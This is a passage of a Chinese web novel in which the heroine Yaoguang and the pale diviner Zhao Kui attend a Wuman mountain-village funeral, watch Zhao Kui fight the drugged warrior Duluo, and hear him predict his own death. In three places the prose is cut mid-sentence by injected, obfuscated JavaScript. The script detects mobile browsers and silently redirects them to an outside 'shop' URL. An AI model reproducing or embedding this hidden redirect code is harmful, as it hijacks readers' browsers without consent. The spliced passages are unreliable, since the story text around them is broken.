“人类岩之子,灵柩放岩中。石门十二层,阴路十二道,阴界北方立,阴路南方开,阴路原上显。……”* 这里的人相信,祖灵会引导亡灵进入祖界。 那里水草丰美,百花烂漫,有长生不老药和弃病之药,是不老不少、不死不病之地。* 想起赵傀他们的来意,瑶光忍不住偏头看了他一眼。 赵傀听得十分认真,他以手掩唇,低眉垂眸思索时,远处青山云雾入画,那张苍白冷峻的面孔也好似浸染了几分清冷禅意。 真跟菩萨一样。 不过就算出家,他也应该是个道士才对。 瑶光默然心想。 “咳!”赵富贵不知道为什么,在旁边大声咳嗽起来,瑶光和赵傀一齐抬头望去,听到他一本正经道:“九爷,我突然感觉毒还没完全解,得回去再躺会儿。” 瑶光皱眉道:“怎么可能!你看你脸都不肿了,要不我再帮你把个脉?” 赵富贵含糊道:“不用不用,我就是感觉……在这儿不太自在。” 瑶光一脸迷惑地看着他,心想从来没见过这种症状啊。 倒是赵傀像是明白了什么,不轻不重地看了他一眼,说:“要是闲得慌,就去跟陆博换值。” 赵富贵立马一屁股坐下了:“不了不了,我感觉现在精神倍儿棒,还是就待在这里吧。” 瑶光看着他这怂样就想笑。 她好心替他解围,问道:“怎么一直只看见郁垒,另一只去哪儿了?” “送信去了。”赵富贵说。 “乌鸦还能送信?” “它俩不是普通的乌鸦,”赵富贵自豪道,“神荼认路,比信鸽飞得还远;郁垒虽然嘴巴贱了点,但够机灵,能帮人探路。” 嘴巴够贱的郁垒狠狠啄了他一下,疼得赵富贵捂着脑袋嗷的一声叫。 “嘘!” 瑶光赶紧让他安静点儿,虽然这里人多,但毕竟是葬礼现场。 万一要是惹了众怒,那可就不好收场了——没看刚才毕摩老头都神情不善地往他们这儿瞪了一眼吗。 “安生点儿,”赵傀微微皱眉,也发话了,“要你找的人找到了吗?” “找到了找到了,”赵富贵赶紧道,“郁垒,人在哪儿?” 瑶光:“这叫找到了?” “你不懂,这叫人鸟合一。”赵富贵得意道。 郁垒用鄙视的眼神看了他一眼,瑶光甚至怀疑它觉得自己才配当主人,然后它拍拍翅膀,飞到了不远处的一棵树上。 树下坐着一个穿着披毡的老妇人。 她的年纪看上去比毕摩还要大上不少,葬礼还未过半,已经靠着树干打起了瞌睡。 瑶光问道:“她是谁?” 赵傀:“黄阿婆。你不认识她?” 瑶光睁大眼睛,点点头,又摇摇头:“我从杜罗哥那里听过她的名字,但没见过人。正好,我也打算问问她关于杜桑的事情,一起?” 赵傀淡淡道:“他倒是什么都愿意跟你说。” 瑶光想了想,安慰他:“放心,人缘不好不是你的错,大不了以后咱们情报共享。” 一片寂静中,赵富贵突然莫名其妙笑出了乌鸦叫。 幸好前面摔跤比试开始,没人再注意他们这边了。 赵傀叹了一口气,站起身说:“走吧。” 两人打算从人群后面绕过去。 但中途,瑶光感觉有人在盯着自己。 她对目光很敏感,在确定不是自己的错觉后,立刻回头看向那个方向。在看清画面的瞬间,她倒抽一口凉气—— 一张惨白恐怖的脸正躲在山崖的缝隙之中,直勾勾地盯着她。 14. 第 14 章 那人藏身于崖缝中,面孔像是融化的蜡一样,鼻子凹陷下去,看着瑶光的眼神惊怒不定。 瑶光吓得话都说不出来,拼命拽着赵傀的衣袖示意他回头看。 赵傀不明所以地转身。 很快瑶光听到他呼吸错了一拍,八成也是被那个怪人的长相惊到了。 霎那间她手一松,反应过来前,赵傀人已经蹿了出去。 他脚尖点地,精准踩在岩壁上的几个落脚点上,手一撑,飞身跳到了那道裂缝前查看。 瑶光张大了嘴巴,目瞪口呆—— 这人是会飞吗? “九爷的轻功厉害吧,”赵富贵走到她身边,和她一起仰头张望赵傀的背影,“三年前,九爷挑战大内第一高手,和对面过了不过三十招,那人就直接认输了。” 他得意洋洋地说道。 “不可能!”瑶光第一反应是赵富贵在吹牛,因为那位高手她也认识。 “钱——咳,我是说,既然是大内第一高手,他年岁应该不小了吧?赵傀这么年轻,内家功夫怎么可能胜过大他几轮的前辈?” 赵富贵神秘一笑,压低声音道:“你可听说过,这世上有种传功秘法,叫做灌顶?” 瑶光一愣,随即反应过来:“赵傀接受过灌顶?” 怪不得他外家功夫这么强,内力还更胜一筹! 但她听闻灌顶这种法子很残忍,传功者将毕生内力传递给另一人,过程极为痛苦,且结束后传功者心血耗尽,七日内必定暴毙而亡。 因此,即使面对的是有血缘关系的继承人,也很少人会用这样的方法传承功法。 “这事儿我从来不和别人讲的,”赵富贵抱臂侧头,煞有其事地说道,“也就是瑶瑶你……你可千万别告诉九爷是我说的啊。” 瑶光很想问赵富贵,这话他究竟和多少人说过。 但她还是敷衍地点了点头,保证一定不把秘密透露出去。 “别看我这样,”赵富贵像是知道她心里在想什么似的,用两根指头点了点招子,痞笑一声,“——可是老江湖了,看人还是挺准的。” 瑶光挑了挑眉,没说信,但也没说不信。 正好这时候赵傀回来,看了他们一眼,言简意赅道:“人不见了,只找到这个。” 他摊开手掌,里面是一片被勾破的衣角。 看走线,是中原的样式。 “跑哪儿去了?”瑶光盯着那片衣角,有些难以理解,“那里不就一道裂缝吗,难不成他还能遁地钻山跑了?” 赵傀:“不知道,你看清楚他的长相了吗?” 瑶光简单形容了一下,赵富贵摸着下巴道:“长成这样,不是妖魔就是鬼怪,这鬼地方太邪门了,三天两头闹鬼。” “也有可能是被烧伤的人。”赵傀说。 但瑶光觉得不像。 她救治过被烧伤的病人,烧伤对于医师来说是最棘手的伤势,十不存一都说乐观了。就算治好了,后续的各种问题也会伴随病人终生。 对于他们来说,别说爬上这么高的山崖了,连翻身都是一场酷刑。 比起烧伤,这倒更像是某种……严重的癞病。 突然她灵光一闪,冒出一个念头来。 瑶光看了看周围,在确定没有认识的人后小声问道:“会不会是英珠的那个姘头?他真的死了吗?” 她在南诏寨里结过仇的也就毕摩一家子,现在他们都在这里,所以,那个长相恐怖的怪人肯定不是那缺德爷孙俩。 思来想去,只可能是自己焚烧英珠尸体时被她姘头看见了,所以想要报复自己。 瑶光始终忘不了方才怪人盯着自己的眼神,那种情绪太过浓烈,还给她一种莫名的熟悉感,仿佛曾在哪里见过似的。 可惜她一时想不起来,满脑子都是那张宛如面具一样罩在脸上的扭曲面孔。 瑶光摸了摸自己的胸口,直到现在都还有些心惊肉跳。 “太过牵强。” 赵傀听完她编的故事,给出了评价。 瑶光虚伪地冲他笑了笑:“那不知赵半仙有何高见?要不先替咱们几个凡人算一卦测测吉凶?” “……但也不是没有可能,”赵傀摇摇头,“线索太少了,现在不考虑这些,先去找黄阿婆问问。” 瑶光耸了耸肩:“好吧,听你的。” 场中的摔跤比赛已经进行了几轮,目前正进行到最激烈的时刻。 杜罗大叫一声,轻松掀翻了今天的第三个对手。 飞扬尘土中,他伸出手,把一脸敬佩的对手从地上拉了起来,拍了拍他的肩膀鼓励。 听着周围的欢呼尖叫声,杜罗赢了比赛,却一副心不在焉的模样,目光不住地在人群中扫视。 他要等的人,还没有来。 直到看见瑶光站在树下的身影,他才松了一口气,露出一抹笑容。 但没等杜罗高兴多久,他就看见了昨天那个把瑶瑶惹哭的中原男人,脸色顿时冷了下来。 就算瑶光替他解释了,杜罗也并不信任对方。 他酸溜溜地看到那个男人并肩站在瑶光身边,两人凑在一起,姿态亲密地交谈着什么。 光是这样这也就算了——杜罗目眦欲裂地看到瑶光把一对铃铛手链交给那个男人,而那个混蛋对着光看了两眼,竟然摇摇头还给了她! 他竟然还敢拒绝!? 杜罗额头青筋直跳,再也无法忍耐了。 他深吸一口气,猛地上前几步,冲着赵傀喊道:“喂!外族人!” 瑶光三人同时扭头看向他。 没办法,谁叫他们三个都是外边来的呢。 但杜罗只顾着死死盯着赵傀,说:“你,下来,比一场!” 瑶光一看杜罗这个苦大仇深的表情就知道不妙,难不成昨天她还没解释清楚?但她刚准备上前,一只手就拦在了她的身前。 竟然是赵富贵。 “让九爷上去玩玩吧,”他舔了舔嘴唇,兴奋笑道,“这段时间,我们都憋很久了。比试揍人不犯法,还是他们主动提的,天王老子来都说不了什么。” 瑶光说不过他,猛地看向赵傀:“姓赵的,你也跟着他胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345140|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹?” “是他先找事。” 赵傀说完,就解开外袍随手丢了过来。 瑶光下意识抓住,随即反应过来自己又不是他下属,凭什么要帮这个忙? 正准备塞给赵富贵,谁知道这人跟泥鳅一样,一眨眼的功夫,就已经滑溜到人群最内围去了。 “哎让一让让一让,各位兄弟姐妹父老乡亲,都让一让,有钱的捧个钱场,没钱的捧个人场……不好意思串词儿了。” 赵富贵嘴皮子上下一秃噜,张口就是街头卖艺的热场词儿,也不管其他人听不听得懂。 在众人的怒视下,他还煞有其事地冲正中那口棺材拜了两拜,“这位老人家,您一路走好,今儿我跟九爷都来为您捧个人场,您这面子可比三公还大呢。三公您知道不?不知道我来解释一下……” 瑶光费劲挤到他身边,气喘吁吁地用胳膊拐了他一下,示意他赶紧闭嘴别撩事了,没看到旁边人盯着他的眼神都不对劲了吗。 她拧着眉头,双眼一眨不眨地望着场中对峙的两人。 毕摩阴沉地看了赵傀一眼,面对杜罗准备挑战外族人的想法,他竟然没有第一时间提出反对。 但在比赛开始前,他把杜罗叫到面前,叽里咕噜地说了一番话,杜罗看上去并不认同,和他争执了一番,但最终还是一声不吭地回到了场上。 赵富贵冷哼:“这老东西肯定没憋好屁。” 瑶光压抑着怒气道:“你都知道,还让他上?” 赵富贵自信道:“九爷那一身本事,什么阴谋诡计来都不管用!这帮山野村夫没见过什么叫高手,今儿就好好叫他们开开眼。” 瑶光不想搭理他了。 赵傀确实厉害,但她曾亲眼见过杜罗只靠拳头,硬生生打死了一头闯入村寨的野猪——那头猪发了狂,光獠牙就足足有她小臂粗,就连森林里的老虎见了也会绕道走。 杜罗虽然没有内力,走的是纯外家功夫的路线,但内外兼修有时反而不如专精一道,论起实力,他可是一点也不差。 不然,他也没法成为南诏寨中的第一勇士。 “杜罗,南诏最勇猛的战士,”杜罗握拳捶了一下自己的胸口,方才他已经活动开了,肌肉充血,黑虎纹身栩栩如生,“外族人,报上你的名字!” 赵傀显然没有和他交换姓名的想法。 他姿态放松地站在杜罗对面,像是一个无关紧要的路人,语气淡淡道:“等你赢了再说吧。” 杜罗盯着他,右手动了动,但最终还是放下了。 “外族人,你们很会说话,也很会骗人,”他冷声道,“但我不会上当。” 瑶光惊悚地发现,在这种时候,赵傀竟然扯了一下嘴角,笑了。 虽然不怎么明显,但那的的确确是一个笑容。 “你好像一直在针对我,”他说,“怨气很大?” 杜罗狠狠咬牙,似乎终于发现自己再怎么都没法说过面前的男人,他明智地选择了闭嘴。 毕摩高高抬起手:“两位勇士……” “——开战吧!” 15. 第 15 章 现场霎时喊叫声四起。 瑶光被吵得耳朵嗡嗡作响,拼命捂住耳朵,郁垒从树梢上飞下来,落在赵富贵的头顶,扭了扭鸟屁股,找了个舒适的位置放心蹲下,似乎已经把他主人那一头蓬松头发当成了鸟窝。 赵富贵骂了一句,声音很快被淹没在了此起彼伏的怒吼中。 但别说他们了,场上两人交手几个回合,瑶光都看得心惊肉跳。 好几次杜罗差点一拳捣在了赵傀肋下,赵傀的手刃也险之又险地在他眼珠前擦过——这两人,根本不是在比试摔跤,是来真的! “放心吧,”赵富贵安慰他,“九爷还没动真格的呢,这点最多只能算热身,否则黑虎小子早就被废了。” 瑶光挤出一抹狰狞笑容:“你还是闭嘴吧。” 不过她也能看出来,赵傀用的基本都是太极借力打力的功夫,太极以柔克刚,确实最适合对付大开大合的刚猛劲道。 虽然不知道他是为了保存实力还是有意留手,但想必,杜罗哥现在应该很不好受。 果然,没过几息,杜罗就主动跳出了他的攻击范围,怒道:“你什么意思!” 赵傀不动声色地问道:“怎么?” “要打,就认真打!”杜罗忍无可忍,“软绵绵的,连力气都使不上,算什么东西!” 赵傀淡淡道:“是你自己使不上力气,我一直都很认真。” 杜罗一愣,随即眉头越皱越紧,终于发现了不对。 他一点一点捏紧了右拳,指骨挤压,发出了咯吱咯吱的声响。 毕摩的声音从身后悠悠传来:“杜罗,别忘了,你是我们部族最勇猛的战士。” 杜罗垂下头,沉默不语。 瑶光盯着他,突然道:“杜罗哥的状态不对。” 赵富贵满不在乎:“九爷也没下狠手啊,怎么,黑虎小子这就受不了啦?” “不是,”瑶光睁大眼睛,用飞快的语气说道,“你看他的招式变了!他——” 赵傀也发现了对手的变化,他突然变招,一脚踹在杜罗胸口,被对方险之又险地挡下来,杜罗一个反跳摆好架势,神情紧绷地等着他继续出招,谁知赵傀却只是扫了他一眼,说:“不来了。” 杜罗猛地抬头:“为什么?” “我没兴趣和一个自废惯用手的人打。”赵傀说。 杜罗的脸色一阵青一阵白,最后,他颓然松开右手,任由掌心中的粉末随风飘散。 他低声说:“我输了。” “这味道……”赵富贵在空气中嗅了嗅,大怒着就要伸手去摸裤腰带,“是迷药!我日毕摩他祖宗,居然敢给老子搞这一套下三滥的招数!” 瑶光大惊,生怕他一冲动来个当众脱裤,赶紧把赵富贵按在原地:“你口味也怪重的,咱们又不是第一天才知道他什么德行。这老头坏得很,这是他们的地盘,你消停点儿!” 但一边说着,她一边忍不住朝赵傀的方向看去——所以,赵傀其实早就知道杜罗的不对劲是因为这个? 怪不得杜罗哥一直没松开右手,赵傀也始终没攻击那里。 说不上来心里什么感觉,但是总归是高兴的。 瑶光看着半阖着眼立在场中、仍是一副淡淡睡不醒模样的赵傀,刚忍不住想露出笑容,突然发觉周围一片死寂。 所有寨民都盯着场中认输的杜罗,表情十分不可置信—— 瑶光呼吸一窒,心道坏了! 她怎么忘了,杜罗哥身为南诏寨第一勇士,地位几乎和毕摩平起平坐。 他主动向一个外族人认输,岂不是把南诏寨的面子放在脚底下踩? 果然,毕摩的脸色比锅底还黑沉。 他重重地拄了一下拐杖,上前一步,神情冰冷道:“杜罗,你……” “平手,”赵傀突然打断他的话,掀起眼皮看向杜罗,“我没有那么多功夫陪你玩你让我我让你的游戏,你要是不想认真打,那就算了,这次比试不分胜负。” 这番话,他是用当地的语言说的。 现场凝固的气氛刹那间松动,宛如坚冰融化。 所有人都松了一口气,之前杜罗的手下败将们脸上也都恢复了笑容。 “我就说嘛,杜罗哥不可能输的!” “就是,原来是他故意让着这个外族人,便宜他了。” “吓死我了,还是杜罗哥人好,不忍心下重手。” “杜罗哥,认真打一场吧!让这些外族人瞧瞧你的厉害!” 杜罗再度被四面八方传来的喝彩声包围了。 这一次,场中只剩下了他一个人。 听着周遭的喧哗叫好声,他抿了抿唇,忽然扭头深深地看了一眼瑶光,然后转身就走。 “杜罗哥!” 瑶光刚想追上去,就被赵富贵拦住了。 “让他自己呆着吧,”赵富贵摇摇头,“黑虎小子现在应该不太想见到你。” 瑶光皱眉,但就是这么一打岔的功夫,杜罗的身影已经消失在了人群中。 赵傀慢悠悠地从后面走过来,所到之处寨民纷纷为他让位——乌蛮人敬佩强者,即使并非本族人。 看到这一幕,瑶光才明白他方才为何会应下杜罗的邀约。 赵傀朝瑶光伸出手。 瑶光看了一眼他空荡荡的掌心,莫名其妙地抬头:“干嘛?” “袍子。” “…………” 瑶光没好气地把袍子丢给他:“垫屁股底下了!” 赵傀却似乎毫不在意,竟然真的抖开铺在了草甸上。 “坐。” 瑶光心道你都不介意那我还在乎什么,也不管赵傀这黑袍一看就价值不菲,很没有心理负担地一屁股坐下了。 葬礼还没完全结束。 按照习俗传统,等天黑之后,寨中还会点燃篝火,跳起祭祀祖灵的舞蹈。 寨民们会一直狂欢到天亮。 再派出年轻力壮的勇士们,将棺材抬到山崖上。 瑶光坐在赵傀旁边,听他说道:“黄阿婆送你的那对手链,记得要随身携带。” 她没吱声,低下头,摆弄着黄阿婆送给她的两串铃铛手链。 这铃铛应该是用黄铜制成的,年代似乎挺久远了,雕工极其精湛,比拇指还小的铃铛表面,竟刻着百鸟朝凤的图案。 摇动时,清脆的声音回荡在耳畔,宛如山涧百鸟啼鸣。 方才他们去找黄阿婆时,瑶光本想问有关黑棺和杜桑的事情,但赵傀这厮倒是率开口了。 他问道:“你知道不死之国的方位吗?” 原本昏昏欲睡的黄阿婆听到他的问题后脸色大变,无论如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345141|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不肯告诉他们任何事情。 就连瑶光也被连累,还什么都没问呢,就被一并轰走,气得她朝赵傀直翻白眼—— 自从遇上这家伙,真是没一件好事! 就在她心灰意冷地准备离开时,黄阿婆犹豫了一下,叫住了她。 她从怀里掏出一对铃铛手链,塞给瑶光,说这是物归原主。 但无论瑶光怎么问她这对铃铛手链的来历,她都不愿再开口了。 比试开始前,赵傀问她要来那对手链,仔细观察了一番,说没发现什么不同,如今却又说出这种话,不由得让瑶光多想了几分。 过了一会儿,她问道:“你为什么要问黄阿婆那个问题?” 说完,瑶光好笑地摇了摇头:“这世上怎么可能有什么不死之国,那都是骗小孩的,对吧?” 看着赵傀平静的神情,她脸上的笑容慢慢消失,变成了不可置信:“等下,你不会真信了吧?你不是说你不相信这世上有长生不老药吗?” 赵傀和她对视一眼,移开视线,目光投向远方的山谷。 “我确实说过这句话,”他说,“但我觉得,传说中的不死国是真实存在的——至少,它曾经存在过。” 瑶光觉得很匪夷所思。 但出于谨慎,她还是先问了一句:“你在宫中看到了相关的史料记载?” “没有。” “那就是有那个国家的遗民亲口告诉过你?” “也没有。” “那你凭什么相信!?”瑶光脱口而出,视线扫过他手腕上的铜钱,“可别告诉我又是算出来的——” 赵傀:“如果我说是呢?” 瑶光安静下来,伸出手摸了摸赵傀的额头。 很好,还是玉石一样的冰凉,不像是活人。 “果然病得不轻。”她嘟囔道。 赵富贵在旁边努力忍笑,让瑶光有种自己又被赵傀驴了感觉——从前都是她编故事骗人,风水轮流转,还真叫她摊上一个比她还会忽悠的赵半仙! 赵富贵还在摇头晃脑道:“瑶瑶,你有所不知,九爷他师从上代国师大人,易经占筮,风水观星,推演上下五千年,就没有他不知道的东西。” 瑶光昨天见识过,也没太惊奇。 只是说道:“那咱们也算半个同行了。” 山、医、相、命、卜,统称为玄学五术。* 不过在瑶光看来,从事这些行当的大部分人修炼的都是骗术。 赵富贵:“那怎么能一样呢,你是不知道九爷他究竟有多——” “赵富贵,”赵傀连名带姓地打断他,“你话太多了,回去把手炉拿来。” 赵富贵:“……我这就去。” “所以,你算出了不死之国就在这里?”瑶光托着下巴望着赵富贵萧瑟离去的背影,好奇问道,“那你为什么还要问黄阿婆呢,直接再算一卦去那个地方看看不就好了。” “我说过,我是来找真相的。”赵傀说,“我并没有算出不死之国的方位,窥探命理天机,是会耗命折寿的,越是大事,越要谨慎。我只是算出了……” 瑶光笑问道:“算出了什么?你的姻缘在这里?” 赵傀默默摇头。 他盯着自己掌心的断纹,轻声说: “我算出来,我会死在这里。” 16. 第 16 章 瑶光怔怔地看着赵傀。 她的仿佛一时没办法理解这句话,直到周围响起一片惊呼声,瑶光下意识循声望去,才发现,原来是场地里的篝火生起来了。 乌蛮人信奉黑虎和火神,他们认为天地是从一团火里诞生的。 一簇簇火把照亮黑夜,为亡灵照亮前往阴界的道路。 “阴界北方立,阴路南方开……” 赵傀喃喃念诵着毕摩超度的经文,漆黑的眼眸倒映着星火燃烧的光芒。 他忽然像是想通了什么,下意识看向瑶光的方向: “我明白了,原来是这么一回事——” “你说你会死,”瑶光突然说,“所以,这就是你执意要找到不死之国的原因?” 赵傀安静下来。 篝火的噼啪声在耳畔作响,寨民们夜色下唱起了祝酒歌,他似乎是笑了一下,视线投向满天繁星,随口问道:“你不想我死?” 瑶光点点头:“是啊,不想。” 赵傀轻松的神情消失了。 他的身形仿佛定格在了火光中,目光一眨不眨地盯着瑶光。 瑶光自顾自地说:“你们应该是一个组织吧?就是那种替皇室秘密办事的神秘组织,你是老大,如果你死了,一朝天子一朝臣,我上哪儿再找愿意帮我搜集情报的人去?” 赵傀的肩膀放松下来。 他收回视线,苍白侧脸掩映着火光,又似乎有些说不清道不明的怅惘。 “但我确实不希望你死,”瑶光由衷道,“别老想着死不死的事情,你还年轻呢,算命这种东西,信则灵不信则无,一个人一个说法。改明儿我也给你算一个,保准你长命百岁活到九十九。” 赵傀垂下眼眸,一只蝴蝶停在他凸起的骨节上,他看了一会儿,轻轻吹了一口气,让它飞走了。 过了片刻,他说:“情报的事,富贵会替你处理好的。” “他?”瑶光露出纠结的神色,“我倒也不是不相信他,就是总觉得……不太靠谱。” “他从前是学杂耍的,后来家乡水灾闹饥荒,班子散了,他就混在流民队伍里一路北上讨生活,”赵傀说,“三教九流都混过,性子虽然混不吝,但很讲义气。” 顿了顿,他补充道:“就是有时脑袋轴了点儿。” 瑶光虽然已经问过赵富贵一次,但还是想听听赵傀这边的版本:“你们是怎么认识的?” 赵傀:“他混迹京城街头时,经常为了一些孤儿寡母出头,免不了跟人起冲突犯事,为了避免杖责,就在背上纹了个天王像,差役就不敢打了。但他太狂,一次喝多了当众吹牛,说官府也拿他没办法,这话传到京兆尹耳朵里,把他捉来狠狠打了三十大板,京兆尹还说‘把天王打干净了事’。”* 平心而论,赵傀并不是个讲故事的好手。 他的语气至始至终都十分平静,比起讲述,更像是在单纯的回忆。 但瑶光就是笑得前仰后合,泪花都笑出来了。 她用手拭去泪水,上气不接下气地问道:“然,然后呢?” “然后他被京兆府放了,在家修养了十几天,被讨债的赶出了家门,”赵傀说着,也不禁摇了摇头,“他没钱,也没处可去,就光着上身,挨家挨户去敲门要钱,但不肯说乞讨,只说这是修理天王像的功德钱。” 瑶光捂着肚子,抬起手:“别讲了,别讲了,我受不住了,再笑下去肚肠都要笑破了,你还得陪我医药钱。” 赵傀看着她,忽然又说:“你回去吧,我给你一笔路费。你要找杜桑之毒,我也可以帮你。” 瑶光收敛起笑容,拧眉看着他:“怎么又提起这事了?我回去了,你身上的寒毒怎么办?” “不是什么大事,我自己可以应付。” “同样的话奉还给你,”瑶光狡猾道,“你知道杜桑长什么样子吗,就说要帮我?而且有句话不知道你听没听过……” 她上下打眼瞅了赵傀一眼,哼笑道:“无事献殷勤,非奸即盗。” 赵傀似是有些无奈,叹道:“那你觉得我是奸还是盗?” 瑶光冲他做了个鬼脸:“我可什么都没说,是你自己说的,赵半仙。” 赵傀缓缓舒展了眉眼,也没反驳她的话。 他单膝曲起,胳膊搭在膝盖上,仰头静静地望着漫天星河。 瑶光觉得自打见到他的第一眼起,这个人就给他一种时刻紧绷的感觉,像是拉紧的弓弦,时刻会放出去,或者彻底崩断。 但现在,这根弓弦终于稍稍得到了一丝喘歇。 瑶光顺着他的目光看去,不知为何,想起了上辈子放在王府大院里的那尊铜制浑天仪。 王府生活枯燥无聊,她每天看着它转动。 日升月落,斗转星移,日子也就这样一天天地转过去。 现在想来,她应当感谢那位素未谋面的王爷。 那段时日虽然单调乏味,却是她人生中一段难得的宁静时光。 瑶光用手指着天上的北斗七星,挨个数道:“这是天枢、天璇、天玑、天权、玉衡、开阳,还有……” 赵傀低声道:“摇光。” 瑶光愣了一下,才反应过来他念的是星辰名字。 她默默揉了揉发痒的耳朵,听赵傀问道:“这是春秋运斗枢里的,帝王制历法才会用到,谁教你的?” 瑶光心中一紧——这是她在王府里看着浑天仪自学的,谁能想到几颗破星星的名字还能和皇室扯上关系? 赵傀探究地看着她,轻松的气氛顿时一扫而空。 瑶光深吸一口气,再次提醒自己,面前这位就算看上去不是像是那种滥杀无辜的,到底还是皇家的人,不能随便在他面前乱说话。 自己还是大意了。 她含糊道:“未婚夫家里的藏书,我就随手翻了翻。” 从林家逃出来几年,估计她和那位王爷的婚约早就取消了。 就算没有,赵傀去查也只能查到李家人头上。 赵傀立刻皱起眉头:“你不是说,这辈子没有成婚的打算?” 瑶光更加心虚了,目光闪烁道:“是,是啊,但是这是以前家里订下的,我也没办法嘛。” 求别再问了,再问就要露馅了! 赵傀的眼神微冷,估计察觉到了她没说真话,他又问道:“你未婚夫叫什么,家住哪里,在哪儿任职?” 瑶光下意识道:“京城……不对,你问这么多干什么?” 赵傀收回目光:“只是问问,你不愿说就算了。” 瑶光一脸怀疑地盯着他,总觉得赵傀肯定不只“问问”这么简单。 远处传来一阵喧闹声。 年轻的姑娘们围绕在篝火旁跳起了舞,小伙子们卖力地敲打着铜鼓、拉起琴瑟。 几位去世老人的家属坐在棺材旁,在夜色下举杯畅饮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345863|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是京城中绝不可能看到的景象。 瑶光曾见过一次大户人家举办的葬礼,长长的队伍从城东出发,一路走一路撒纸钱,家属们披麻戴孝,哭灵声传遍全城。 庄重,肃穆。 却也死气沉沉。 她忽然不想再坐着了,拍拍裙子上的草屑站起来,也加入到了狂欢的人群中。 瑶光没有拉上赵傀,不用问也知道,他肯定不会参加这种活动的。要是赵富贵在这儿,说不定还有机会。 她随着鼓声和音乐的节拍,在篝火边变幻脚步。 铃声碎落一地,摇响清脆的声音,夜色山林中传来鸟鸣阵阵,仿佛也在应和这狂欢的夜晚。 手腕上的毒瘢隐隐作痛,但瑶光暂时不想去管这些。 她只想忘却一切烦恼,围着篝火好好跳一场舞。 三色的裙摆在火星中飘动,姑娘们手拉着手,百褶裙的裙摆展开成圆圈。 一位头顶鸟羽、戴着金面具的祖灵扮演者,一手持长矛,一手持羽器,摇摇晃晃地上了场。 他身披一件彩色鸟羽制成的斗篷,脖颈上挂着玉石装饰,浑身上下绘满各式各样的图腾纹身,不断跳跃翻腾,似乎是在表演一场有关狩猎的舞蹈。 当战斗胜利后,他高举着长矛,发出了胜利的怒吼。 毕摩高举火把,朝“敌人”喷出火油,祭祀由此达到了高.潮。 火星灼烧下,瑶光挽着长发的布条断开了,引起一片小小的、欢乐的惊呼。 她连忙停下了,弯腰拾起布条,将一缕飘散的碎发别到耳后。 夜风拂面,她看向赵傀,发现对方仍坐在原地,静静地看着她身后燃烧的篝火,目光微微出神。 赵富贵抱臂靠在旁边的大树上,抬手朝她打了声招呼。 他肩膀上还停着一只瑶光没见过的鸟,和郁垒模样相似,只不过头顶的那一撮毛是蓝色的,估计这就是他说的信使神荼了。 瑶光想了想,走过去问道:“你什么时候来的?” “刚才。”赵富贵一本正经道,“放心,我什么都没看见。” 瑶光莫名其妙地看着他。 她心里还惦记着赵傀的事,就没管那么多,问道:“你说赵傀算命算得准,那他有没有不准的时候?” 赵富贵摇摇头。 瑶光不死心,问道:“真的没有?” “一次也没有。”赵富贵肯定地说。 瑶光顿时觉得有些丧气——她真不希望赵傀死,不管是出于自己寻找奇毒情报的需要,还是作为朋友。 虽然才认识不过三天,但她确实已经把赵傀当朋友了。 而且她总觉得,像赵傀这样的人,不应该默默无闻地死在深山穷林里。 “不过,在来之前,我偶然间听九爷提过一件事,”赵富贵说,“他当时问我说,你相信这世上有死而复生吗?” 瑶光不是第一次听到了,她哦了一声,淡定问道:“你是怎么回答的?” 赵富贵:“我说不信,除非有人想拿这个骗吃骗喝。九爷沉默了一会儿说他也不信,但他发现了切实的证据,后面又说,星盘被打乱,他现在已经看不清命运的轨迹了。没过两天,就带着我来了这里。” 他讲述的语气很轻松。 但瑶光听了,却只觉得浑身发凉—— 难道说,赵傀这趟来,是专门为了抓她的!?